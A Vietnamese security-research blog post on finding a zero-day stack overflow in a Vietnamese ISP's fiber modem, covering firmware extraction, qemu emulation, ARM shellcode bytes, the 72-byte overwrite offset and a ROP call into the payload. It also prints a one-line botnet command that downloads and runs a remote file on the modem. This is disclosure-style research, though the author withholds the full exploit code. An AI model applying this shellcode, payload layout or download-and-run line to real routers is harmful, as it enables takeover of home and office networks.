0-day trong Embedded System — ISP’s Modem

Tản mạn đêm khuya

Ngoài kia mưa đang rơi, cảm xúc lúc này thật là khó tả. Thế thái nhân tình, con người đúng là ai rồi cũng phải trải qua những khoảng thời gian thật buồn và buồn thật. Không biết những người khác thế nào, nhưng với tôi — một con người đầy ảm đạm thì những lúc như thế này suy nghĩ về việc thay đổi bản thân, tán 1 cô bạn gái mới, vào game online giết vài trăm mạng, hay rủ rê anh em làm vài ly giải sầu sẽ cảm thấy dễ chịu hơn. Nhưng hôm nay tôi muốn nghiên cứu tìm tòi một thứ gì đó mới một chút để giết thời gian, để thấy mình đang còn trẻ và ngọn lửa trong tôi vẫn đang cháy hết mình. Thật là lý do tuyệt vời để tôi bắt tay nghiên cứu tiếp về an ninh trên hệ thống nhúng.

Những Tiếp cận ban đầu

Tôi đã từng dịch ngược, phân tích một số dòng firmware và tìm thấy một số vấn đề liên quan đến bảo mật như Hard-coded passwords, backdoor trong một số phiên bản Firmware của một số dòng thiết bị mà tôi có điều kiện tiếp cận. Trong khoảnh khắc này, tôi đang có một cơn khát, một cơn khát đặc biệt. Với cơn khát này tôi muốn đi xa hơn, với hi vọng tìm kiếm được 0day — một 0day RCE, nó có thể sẽ là một khởi đầu thú vị cho những nghiên cứu sau này.

Target chính là con Router modem cáp quang của một ISP Việt Nam mà cả xóm trọ và trên công ty tôi đều đang dùng.

Sử dụng NMAP tôi xác định được các dịch vụ đang chạy trên thiết bị, ứng với các cổng đang mở (22,23,80,53,443). Tôi nghĩ mình đang có hai lựa chọn tiềm năng về việc “tìm lỗ” trên dịch vụ HTTP hoặc DNS . Để làm được điều đó, tôi bắt tay vào việc reverse firmware của router modem.

Nhớ lại 1 chút kiến thức về môn vi xử lý đã học: trên các thiết bị điện tử cơ bản như điều khiển từ xa tivi chẳng hạn. thì cấu tạo có 1 chíp vi xử lý với đủ cả ROM RAM tích hợp, có pin con thỏ thiết bị hoạt động, chip load bootcode từ rom, thực hiện các chức năng. Còn trong những thứ như router modem, hay các thiết bị có embedded system thì đều sẽ có dủ chip xử lý, ram, thiết bị bộ nhớ như flash drive, hay thậm chí là đĩa cứng SATA. (mình k học nhiều về phần cứng và cũng k nghiên cứu sâu về hệ thống nhúng nên những gì mình viết tất nhiên sẽ có khả năng sai sót). Khi khởi động thiết bị này thì chip load bootcode trong ROM, bootcode load firmware từ disk. Trong firmware thì có thể có kernelcode, image filesystem hoặc cả firmware sẽ là một file thực thi khá lớn. Lúc này image system file sẽ được map/mount lên. Các config được load, các file service được chạy hệ thông hoạt động. Vì mục tiêu là HTTP service tôi cần tìm ra được execute file của service, extract ra rồi reverse và phân tích hoặc fuzzing.

Nhưng dù sao thì cũng phải tìm được cái firmware của router modem. Việc này có 2 phương án:

  • Extract trực tiếp từ modem.
  • Tìm kiếm từ google dựa trên thông tin về modem

Tôi chọn phương án 2 sau khi đã xác định phiên bản firmware của modem, và sử dụng binwalk để analyze.

Ở đây chỉ có 1 file kiểu CramFS. Không có crypt, không có compress và đủ thứ linh tinh khác. Lúc này chúng ta có thể dùng binwalk extract filesystem ra hoặc mount file này thành thư mục. Tôi chọn cách mount cho chính xác:

Đây là một file system của *nix. Để tìm file execute của httpservice, ta có thể tìm qua cách đọc file các file rc,init trong /etc/init.d,/etc/rc.d

Hoặc có thể tìm kiếm bằng cách đơn giản hơn như search trong các thư mục bin. LOL

Tìm thấy các file nên tìm ta tiến hành reverse. Đối với httpserver trên embeded system thì thường là cgi xử lý luôn các request cho nhẹ, nhanh, không cần install thêm các script như php hay perl… Các request http, các form post, get sẽ được lập trình = c xử lý luôn trên http services. Tôi bắt đầu tập trung vào file WebMgr chạy httpserver trước.

Đây là 1 file binary ELF cho hệ điều hành dùng chip ARM.

Lúc này việc phải làm là Disassembly reverse file này tìm lỗ hổng nếu không thấy thì emulator chạy file này và fuzzing http. Nếu thấy thì vẫn phải dựng emulator arm và debug thêm. ^^. Ưu tiên disassembly trước để về với IDA trên windows (Có đôi lúc thấy *nix bất tiện quá).

Phát hiện lỗi

Về với IDA. Từ kinh nghiệm của mình, tôi tập trung xem xét phần code xử lý các file, form, post, get… đây là những nơi có thể có xác xuất hiện lỗi do sơ xuất của người lập trình, khả năng xuất hiện lỗi cao hơn các code parse http request từ socket vốn là những bộ mã nguồn chuẩn, được sử dụng đi sử dụng lại trên nhiều thiết bị.

Đầu tiên vì muốn tìm kiếm một cái gì khác biệt một 0day về RCE để thỏa mãn cơn khát của mình nên tôi xem form checklogin, Tìm các form, hiden form được pass qua việc authen- xác thực tại đây. Tôi phát hiện hàm này và list form, file được bypass qua login page bằng việc findref string với login.html. Các form, file này là các file form, hiden form cho việc test, update, get info của vendor.

Tiếp tục find ref tìm hàm xử lý các form:

Sau một hồi tìm kiếm. Tôi phát hiện tại FloidForm có thể xuất hiện lỗi tràn bộ đệm khi thực hiện việc gọi strcpy lại http var username/password .

Với R7 chứa địa chỉ đến R11–76 (R11 tương tự với EBP, RBP trong intel assemble)

Tuy nhiên việc exploit trên ARM không phải dễ dàng. Các hàm luôn được build với chế độ lưu và khôi phục PC (tương tự EIP là thanh ghi chỉ lệnh tiếp theo ở các chip thường) cùng với các thanh ghi liên quan stack như R11,SP khi kết thúc hàm:

Cho nên sau khi kết thúc việc overbuffer, thậm chí ta còn không có địa chỉ stack để jump hoặc parse callargument vào R1 2 3 4 rồi gọi hàm system :D

Tryhard

Suy nghĩ đôi chút về các thanh ghi không bị khôi phục từ stack. R1 R2 R3 R12 LR. Khả năng R12 vẫn còn trỏ đến stack là cao nhất, tiếp đến là R1 R2 R3 còn LR thì không thể. Lúc này việc cần làm là emulator chạy file Webservice này và debug xem thực hư mọi chuyện thế nào. Ở đây lại có 2 lựa chọn là emulator cả system và emulator chạy riêng lẻ file. Emulator đủ cả thì cần nhiều thứ và mất thời gian nên tôi chọn emulator riêng file để debbug.

Copy lại thư mục được mount read only sang thư mục thường khác, copy file qemu-arm-static vào thư mục bin, usr/bin của thư mục file system firmware. Lúc này mình chỉ có ước muốn nhỏ nhoi là chạy được 1 cái chroot + qemu, và chaỵ file WebMgr port 80 để có ngay login page như modem. Nhưng “đời hở như mông”.

/bin/WebMgr: Invalid ELF image for this architecture

Đây là một lỗi thường gặp, nguyên do vì các file elf cho embedded system thường có header “đặc biệt” với các machine id lạ, hay các section table ở trường hợp đặc biệt (dù qemu đã từng update 1 lần theo khuyến nghị của bác này http://www.devttys0.com/2011/12/qemu-vs-sstrip/ nhưng vô vàn trường hợp lạ, đặc biệt liên quan đến embedded system vẫn xảy ra).Thôi thì sửa lại mã nguồn qemu một chút, bỏ đoạn check header:

Và tiến hành rebuild. Mọi thứ có vẻ tốt :)

Tuy nhiên tia hy vọng việc thực thi đầy đủ mọi thứ từ init script và WebMgr bỗng nhiên vụt tắt.

Lúc này nghĩ đến việc fix system call cho qemu hoặc emulator cả system như máy ảo, nhưng phương án này thì xin “giơ cờ trắng”. Thay vào đó ta thực hiện việc patch lại các call lỗi ở WebMgr.

Giờ mọi thứ đã ổn hơn.

Qemu có sẵn option –g để mở remote debug port cho gdb, có thể sử dụng gdb

Và IDA

Debug thử:

Sau khi hàm reponse trả về vài thứ linh tinh done form qua http thì R1 vẫn trỏ đến 1 phần buffer. R12 vẫn trỏ đến stack.

Lúc này việc địa chỉ buffer đã được gải quyết. Tiếp theo tìm các rop. Trong code có sẵn 1 rop call R1 luôn:

8byte đầu của buffer R1 trỏ đến tạo thành 2 lệnh arm k gây ra lỗi gì. Build 1 shellcode mov lại stack và call system khá đơn giản. nhưng vì keystone build ra opcode cho arm v7 v8 một số lệnh không chạy được trên chip armeb.

Tự đọc opcode và cấu lại một số lệnh arm như sau để build shellcode:

05 DC 4C E2                 SUB             SP, R12, #0x500
0C 00 A0 E1                 MOV             R0, R12
FF 00 80 E2                 ADD             R0, R0, #0xFF
FF 00 80 E2                 ADD             R0, R0, #0xFF
45 00 80 E2                 ADD             R0, R0, #0x45
40 10 A0 E3                 MOV             R1, #0x40
01 14 A0 E1                 MOV             R1, R1,LSL#8
02 10 81 E2                 ADD             R1, R1, #2
01 14 A0 E1                 MOV             R1, R1,LSL#8
17 10 81 E2                 ADD             R1, R1, #0x17
01 14 A0 E1                 MOV             R1, R1,LSL#8
D0 10 81 E2                 ADD             R1, R1, #0xD0
31 FF 2F E1                 BLX             R1
Với buffer là r11-76, và lệnh return là: SUB SP, R11, #32; LDMFD SP, {R4-R8,R11,SP,PC};
Như vậy từ byte 76-32 trở đi sẽ ghi đè vào cách thanh ghi. có 7 thanh ghi trước thanh ghi PC. 7*4+(76-32)=72
Các byte từ byte 72 trở đi sẽ ghi đè vào thanh ghi PC.
Vậy build payload gửi đến http server với form là FLoidForm, biến post usename="shellcode + nop" dài 72 + địa chỉ đến rop call R1.
Bây giờ tôi thử viết mã khai thác chứa payload có shellcode thực thi lệnh IPtables đến modem. Kết quả.
Hiện tại vì nhiều lý do nên tôi không public exploit code cũng như version cụ thể của modem.
Kết luận
Nguyên nhân gây ra lỗi
Sự chủ quan và sơ sót của người lập trình firmware khi nghĩ k ai chạm đc vào hidden form, khi sử dụng stackbuffer + hàm strcpy và không có một lần kiểm tra độ dài nào.  Cũng không thể bỏ qua việc embedded system là 1 hệ thống nhỏ, yêu cầu tối ưu hóa về dung lượng, tốc độ nên các phương pháp bảo mật như stack canary, no execution stack, ALRS.. không dược áp dụng.
Một số kịch bản tấn công thông qua lỗi này:
Lỗi này ảnh hưởng đến cả tổ chức lẫn người dùng thường.
Trường hợp nhẹ nhàng nhất: thì moderm sẽ được huy động vào mạng botnet (rất đơn giản thôi, chỉ cần thay lệnh iptable ở hình ví dụ thành cd /tmp;wget shorturl/run;chmod +x run;./run), hoặc dns sẽ được change về các dns fishing.
Hacker cũng có thể biến modem thành sock, từ modem truy cập, giao tiếp với các máy trong mạng.
Với tầm cỡ cao hơn hacker có thể rebuild lại firmware, edit chức năng lọc URL cho redirect về các trang chứa mã độc, tấn công các máy trong LAN hoặc sniff packet.
Cuối cùng chân thành cảm ơn Black Dragon và Black Eagle đã giúp đỡ tôi rất nhiều trong việc viết ra bài viết này ^^